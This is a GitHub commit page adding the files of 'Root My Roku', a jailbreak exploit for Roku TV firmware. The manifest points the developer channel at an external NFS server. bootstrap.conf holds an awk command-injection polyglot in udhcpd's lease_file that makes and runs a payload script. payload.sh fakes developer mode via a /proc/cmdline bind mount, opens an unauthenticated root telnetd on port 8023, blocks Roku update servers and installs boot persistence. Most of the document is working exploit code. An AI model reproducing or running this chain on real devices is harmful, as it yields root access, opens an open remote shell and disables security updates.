Skip to content

Commit

Permalink
Adding initial files
Browse files Browse the repository at this point in the history
  • Loading branch information
llamasoft committed May 17, 2021
1 parent c168f7e commit 1e91c4d
Show file tree
Hide file tree
Showing 24 changed files with 646 additions and 0 deletions.
14 changes: 14 additions & 0 deletions local/components/StatusScreen.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
<?xml version="1.0" encoding="utf-8" ?>
<component name="StatusScreen" extends="Scene">
<children>
<Label
id="statusLabel"
text=""
width="1280"
height="720"
horizAlign="center"
vertAlign="center"
wrap="true"
/>
</children>
</component>
Binary file added local/images/channel-poster_fhd.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added local/images/channel-poster_hd.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added local/images/channel-poster_sd.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added local/images/splash-screen_fhd.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added local/images/splash-screen_hd.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added local/images/splash-screen_sd.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
25 changes: 25 additions & 0 deletions local/manifest
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
title=Root My Roku
major_version=9
minor_version=4
build_version=4200

## Channel Assets
### Main Menu Icons / Channel Poster Artwork
#### Image sizes are FHD: 540x405px | HD: 290x218px | SD: 214x144px
mm_icon_focus_fhd=pkg:/images/channel-poster_fhd.png
mm_icon_focus_hd=pkg:/images/channel-poster_hd.png
mm_icon_focus_sd=pkg:/images/channel-poster_sd.png

### Splash Screen + Loading Screen Artwork
#### Image sizes are FHD: 1920x1080px | HD: 1280x720px | SD: 720x480px
splash_screen_fhd=pkg:/images/splash-screen_fhd.jpg
splash_screen_hd=pkg:/images/splash-screen_hd.jpg
splash_screen_sd=pkg:/images/splash-screen_sd.jpg

# This is where the magic happens.
# Normally Linux grsec prevents us from following symlinks to directories
# we don't own, but almost all of the grsec security checks fail when
# the symlink resides on an NFS mount.
# NOTE: pkg_nfs_mount requires an IP address, not a domain name.
# The value below is the IP address that nfs.rootmyroku.com resolves to.
pkg_nfs_mount=193.122.148.131:/exports/940E04200
23 changes: 23 additions & 0 deletions local/source/Main.brs
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
Sub Main()
screen = CreateObject("roSGScreen")
m.port = CreateObject("roMessagePort")
screen.setMessagePort(m.port)

scene = screen.CreateScene("StatusScreen")
screen.show()

m.status = scene.FindNode("statusLabel")
m.status.text = "If you're seeing this, the NFS mount failed or the exploit was patched. :("
Stop

While True
event = wait(30000, m.port)
event_type = type(event)
If event_type = "roSGScreenEvent" Then
' When the screen is closed, shut everything down.
If event.isScreenClosed() Then
Return
End If
End If
End While
End Sub
55 changes: 55 additions & 0 deletions remote/bootstrap.conf
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
# udhcpd allows you to specify an executable to notify whenever the lease file is updated.
# It will call the `notify_file` executable and pass `lease_file` as the only parameter.
# However, it has a few critical limitations:
# - The `notify_file` target must have the execute bit set.
# This is actually a major hurdle.
# While we can copy/write to arbitrary files, we can't control
# the resulting file's permissions. As a consequence, the files
# we write to /nvram always never have their execute bit set.
# - udhcpd uses `execvp` to call `notify_file`, so we have access to
# exactly ONE parameter (i.e. `lease_file`) regardless of whitespace.
# This means things like `/bin/sh -c "commands to run"` won't work.
# - The contents of `lease_file` will be overwritten before calling `notify_file`.
# This means we can't use `/bin/sh /path/to/script.sh` because udhcpd
# will clobber the contents of our script before it ever gets executed.
# - The value of `lease_file` must be a path that udhcpd can write to.
# If it fails to write to `lease_file` then it won't call `notify_file`.
# The file itself doesn't need to exist in advance, but udhcpd can't
# create directories so it must be placed somewhere udhcpd can write.

# The solution is an awk script + file path polyglot:
# - Start with a pattern match (`/tmp/;`) that executes nothing.
# This makes the entire awk script look like a file path under /tmp.
# From this point on, we can no longer use front-slahes otherwise
# it will be interpreted as subdirectories.
# We work around this by creating a front-slash using sprintf
# and using string concatination to generate a system command.
# - awk normally reads input via file name arguments and/or stdin,
# but udhcpd won't be passing any additional arguments.
# This means that the core of the awk script must be inside a `BEGIN`
# block which executes before any input processing takes place.
# As a side note, we must manually exit awk. If we reach the end of
# the `BEGIN` block, it will hang when attempting to consume stdin.
# This in turn causes udhcpd to hang waiting for `notify_file` to finish.
# - Lastly, we need to manually chmod +x the exploit payload
# because the execute bit will be missing.

# Behold! (I'm actually pretty proud of this.)
notify_file /usr/bin/awk
lease_file /tmp/; BEGIN { fs=sprintf("%c",47); system("chmod +x "fs"nvram"fs"payload.sh && "fs"nvram"fs"payload.sh"); exit(0); }

# udhcpd calls `notify_file` whenever a new lease is created or every `auto_time` seconds.
# We need the exploit payload to run before Application launches.
# To accomplish this, we set the `auto_time` value to a small value
# so that it triggers very early in the boot process.
# The exploit payload will update the udhcpd config file
# so that the small `auto_time` value is only used once.
auto_time 1

# A fallback interface in case we couldn't find one during installation.
interface wlan1

# Make sure this file ends with an empty line.
# An `interface` line will be appended during startup
# and we need to make sure that it doesn't accidentally
# get appended to one of our directives.
56 changes: 56 additions & 0 deletions remote/components/StatusScreen.brs
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@

Sub init()
m.status = m.top.FindNode("status")
m.status.font.size = 36

m.spinner = m.top.FindNode("spinner")
m.spinner.poster.uri = "pkg:/images/spinner.png"
m.spinner.poster.observeField("loadStatus", "moveSpinner")
setBusyState(False)

m.top.ObserveField("text", "onTextUpdate")
m.top.ObserveField("busy", "onBusyUpdate")
m.top.SetFocus(True)
End Sub

Sub onTextUpdate(event As Object)
event_type = Type(event)
If event_type = "roSGNodeEvent" Then
m.status.text = event.GetData()
End If
End Sub

Sub moveSpinner(event As Object)
' Relocates the spinner to the bottom right corner.
' We don't have access to the spinner's dimensions until the image finishes loading.
If m.spinner.poster.loadStatus = "ready" Then
screen_right = 1280 - m.spinner.poster.bitmapWidth * 1.25
screen_bottom = 720 - m.spinner.poster.bitmapHeight * 1.25
m.spinner.translation = [screen_right, screen_bottom]
End If
End Sub

Sub onBusyUpdate(event As Object)
setBusyState(event.GetData())
End Sub

Sub setBusyState(busy As Boolean)
If busy Then
m.spinner.poster.rotation = 0
m.spinner.visible = True
m.spinner.control = "start"
Else
m.spinner.visible = False
m.spinner.control = "stop"
End If
End Sub

Sub onKeyEvent(key As String, pressed As Boolean) As Boolean
' Observe and note all witness key events.
' This is done so the main method can "observe" our lastKeyEvent field
' because the main method has no direct access to onKeyEvent calls.
m.top.lastKeyEvent = { key: key, pressed: pressed }

' Pretend like we didn't handle the key so the event propagates.
Return False
End Sub
27 changes: 27 additions & 0 deletions remote/components/StatusScreen.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
<?xml version="1.0" encoding="utf-8" ?>
<component name="StatusScreen" extends="Scene">
<children>
<Label
id="status"
text=""
width="1280"
height="720"
horizAlign="center"
vertAlign="center"
wrap="true"
/>
<BusySpinner
id="spinner"
visible="false"
control="stop"
/>
</children>

<interface>
<field id="text" type="string" />
<field id="busy" type="bool" />
<field id="lastKeyEvent" type="assocarray" />
</interface>

<script type="text/brightscript" uri="pkg:/components/StatusScreen.brs" />
</component>
Binary file added remote/images/channel-poster_fhd.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added remote/images/channel-poster_hd.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added remote/images/channel-poster_sd.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added remote/images/spinner.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added remote/images/splash-screen_fhd.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added remote/images/splash-screen_hd.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added remote/images/splash-screen_sd.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
20 changes: 20 additions & 0 deletions remote/manifest
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
title=Root My Roku
major_version=9
minor_version=4
build_version=4200

## Channel Assets
### Main Menu Icons / Channel Poster Artwork
#### Image sizes are FHD: 540x405px | HD: 290x218px | SD: 214x144px
mm_icon_focus_fhd=pkg:/images/channel-poster_fhd.png
mm_icon_focus_hd=pkg:/images/channel-poster_hd.png
mm_icon_focus_sd=pkg:/images/channel-poster_sd.png

### Splash Screen + Loading Screen Artwork
#### Image sizes are FHD: 1920x1080px | HD: 1280x720px | SD: 720x480px
splash_screen_fhd=pkg:/images/splash-screen_fhd.jpg
splash_screen_hd=pkg:/images/splash-screen_hd.jpg
splash_screen_sd=pkg:/images/splash-screen_sd.jpg

splash_color=#000000
splash_min_time=1000
148 changes: 148 additions & 0 deletions remote/payload.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,148 @@
#!/bin/sh

status() { echo "[$(date)]" "$@"; }
warning() { status "$@" 1>&2; }
fail() { warning "$@"; exit 1; }

exec >>"/tmp/payload.log" 2>&1


enable_developer_mode() {
# Overlay /proc/cmdline to enable developer mode.
# This unlocks all of the busybox commands like wget and telnetd.
# If this takes place before Application starts, it also:
# - Unlocks debug and secret screens in the main menu.
# - Unlocks developer commands in the port 8080 debug terminal.
if ! grep -qF "dev=1" "/proc/cmdline"; then
status "Enabling developer mode"
cmdline=$(cat "/proc/cmdline")
printf "dev=1 %s" "${cmdline}" > "/tmp/cmdline"
chmod 644 "/tmp/cmdline"
mount -o bind,ro "/tmp/cmdline" "/proc/cmdline"

# Given that we only enable developer mode once at boot,
# take this opportunity to purge the current developer channel.
# If we don't, it'll trigger an NFS mount every boot.
# If the NFS mount fails, it can cause a boot loop.
rm "/nvram/incoming/dev.zip"* 2>/dev/null
fi
}

enable_telnetd() {
if pgrep -f telnetd >/dev/null 2>&1; then
return
fi

# Try different busybox binaries until we find one that works.
# The system one should work if the developer overlay was successful,
# but it never hurts to be careful.
telnetd_started=0
for busybox in "/bin/busybox" "/nvram/busybox" "/nvram/busybox-$(uname -m)"; do
if [[ ! -e "${busybox}" ]]; then
continue
fi

status "Starting telnetd from ${busybox}"
chmod +x "${busybox}" >/dev/null 2>&1
if "${busybox}" telnetd -l /sbin/loginsh -p 8023; then
telnetd_started=1
break
fi
done

if [[ "${telnetd_started}" -ne 1 ]]; then
warning "Failed to start telnetd :("
fi
}

enable_custom_dns() {
if pgrep -f "resolv.sh" >/dev/null 2>&1; then
return
fi

# This custom DNS blocks communication with Roku's servers.
# This disables logging, channel updates, and firmware updates.
# See `resolv.sh` for details.
status "Enabling custom DNS nameserver"
chmod +x "/nvram/resolv.sh"
nohup "/nvram/resolv.sh" >/dev/null 2>&1 &
}

enable_persistence() {
# Check if we're using the bootstrapping config file.
# If we are, we need to replace it with a fully functional one.
# This restores actual udhcpd functionality for pairing speakers,
# remotes, and other devices.
restart_udhcpd=0
script_path=$(readlink -f "$0")
if ! grep -qF "${script_path}" "/nvram/udhcpd-p2p.conf"; then
status "Replacing bootstrap udhcpd config"
{
# Base the new config file off the system default one,
# but remove and replace the `notify_file` and `auto_time` values.
grep -vF -e "notify_file" -e "auto_time" "/lib/wlan/realtek/udhcpd-p2p.conf"

# Add the current script as the `notify_file` target.
echo
echo "notify_file ${script_path}"

# Cause the `notify_file` target to be called early during boot.
# This makes sure that our payload is run before the main Application starts.
# See `bootstrap.conf` for details.
echo "auto_time 1"

# Make absolutely sure that the config file ends with an empty line.
# See `bootstrap.conf` for details.
echo
} > "/nvram/udhcpd-p2p.conf"

# udhcpd is currently running with the bootstrap config file.
# We need to recreate the active config file by simulating
# the changes made by `/lib/wlan/network-functions`.
{
cat "/nvram/udhcpd-p2p.conf"
interface_name=$(cat "/tmp/p2p-interface-name" 2>/dev/null)
if [[ -n "${interface_name}" ]]; then
echo "interface ${interface_name}"
fi
} > "/tmp/udhcpd-p2p.conf"

restart_udhcpd=1
fi

# Now that the initial payload has already run, we don't need to run as often.
# If the active config still contains an `auto_time` value, remove it.
# The default value for `auto_time` is 2 hours which is good enough.
if grep -qF "auto_time" "/tmp/udhcpd-p2p.conf"; then
status "Removing auto_time config value"
sed -i "/auto_time/d" "/tmp/udhcpd-p2p.conf"
restart_udhcpd=1
fi

if [[ "${restart_udhcpd}" -ne 0 ]]; then
# We can't `pkill udhcpd` or we'll end up killing ourselves too.
# We need to kill all instances of udhcpd except the brand new one.
current_pids=$(pgrep udhcpd)
status "Spawning replacement udhcpd"
udhcpd "/tmp/udhcpd-p2p.conf"

if [[ -n "${current_pids}" ]]; then
status "Killing previous udhcpd instances"
kill ${current_pids}
fi
fi
}

# Do our magic, then call the default udhcpd notify script.
enable_developer_mode
enable_telnetd
enable_custom_dns

# The persistence method must run last as it may restart udhcpd.
# This payload is launched by the current udhcpd, so it may kill us too.
enable_persistence

if [[ $# -gt 0 ]]; then
status "Calling default notify handler"
/lib/wlan/realtek/udhcpd-notify.sh "$@" >/dev/null 2>&1
fi
Loading

0 comments on commit 1e91c4d

Please sign in to comment.